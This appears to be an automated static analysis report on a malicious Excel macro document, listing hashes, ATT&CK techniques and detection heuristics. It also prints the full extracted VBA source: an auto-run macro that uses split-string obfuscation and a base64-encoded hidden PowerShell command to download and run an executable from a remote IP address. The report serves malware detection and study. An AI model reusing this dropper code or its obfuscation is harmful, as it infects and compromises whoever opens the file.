Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 35421ad4d567a4f6…

MALICIOUS

Office (OOXML)

10.5 KB Created: 2021-10-06 10:04:53 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-16
MD5: 4f18bf4907b6246a913c5de683e194b5 SHA-1: 00f0ec605b67522e27682aca290c0f1ca4b18ea0 SHA-256: 35421ad4d567a4f650c989a08f0120c2ad4360d08024514709f9da8b6d4162de
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The sample is an Office document containing obfuscated VBA macros. The macro uses the Shell() function to execute a PowerShell command. This command is designed to download and execute a second-stage payload from the URL 'http://13.252.100.218/msm/wins.exe', which is then saved as 'wins.exe' and executed. The document body content appears to be a financial transaction notification, likely a lure to trick the user into opening the malicious document.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2479 bytes
SHA-256: 254dbc53a184697539b89de9ae3fd345a800f88f5dc8bb396ca991cf2e47bbac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub

Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = s + "start /MIN C:\Windo"
s = s + "ws\System32\" + "Wind" + "owsPo" + "werShe" + "ll\v1.0\pow" + "ersh" + "ell.exe"
s = s + " -win " + "1 -enc"
s = s + " "

s = s + "JABQAHIAbwBjAE4AYQB"
s = s + "tAGUAIAA9ACAAIgBJAG"
s = s + "4AYgB6AGoAbABqAG0AZ"
s = s + "wBkAGoAbAB1AHEAZABl"
s = s + "AG0AbQB6AHoAdQBvAHc"
s = s + "ALgBlAHgAZQAiADsAKA"
s = s + "BOAGUAdwAtAE8AYgBqA"
s = s + "GUAYwB0ACAAUwB5AHMA"
s = s + "dABlAG0ALgBOAGUAdAA"
s = s + "uAFcAZQBiAEMAbABpAG"
s = s + "UAbgB0ACkALgBEAG8Ad"
s = s + "wBuAGwAbwBhAGQARgBp"
s = s + "AGwAZQAoACIAaAB0AHQ"
s = s + "AcAA6AC8ALwAxADMALg"
s = s + "A5ADIALgAxADAAMAAuA"
s = s + "DIAMAA4AC8AbQBzAG0A"
s = s + "LwB3AGkAbgBzAC4AZQB"
s = s + "4AGUAIgAsACIAJABlAG"
s = s + "4AdgA6AEEAUABQAEQAQ"
s = s + "QBUAEEAXAAkAFAAcgBv"
s = s + "AGMATgBhAG0AZQAiACk"
s = s + "AOwBTAHQAYQByAHQALQ"
s = s + "BQAHIAbwBjAGUAcwBzA"
s = s + "CAAKAAiACQAZQBuAHYA"
s = s + "OgBBAFAAUABEAEEAVAB"
s = s + "BAFwAJABQAHIAbwBjAE"
s = s + "4AYQBtAGUAIgApAA=="


ActiveWorkbook.Save
batch = "Fbkgcup.bat"
Open batch For Output As #1
    Print #1, s 
    Close #1
    i = Shell(batch, 0)

End Sub

Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub



Attribute VB_Name = "Table 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 6144 bytes
SHA-256: 191efc6e01ae9d25f166da26f5a070568d0431ced9b75dcd42f044c37e213deb

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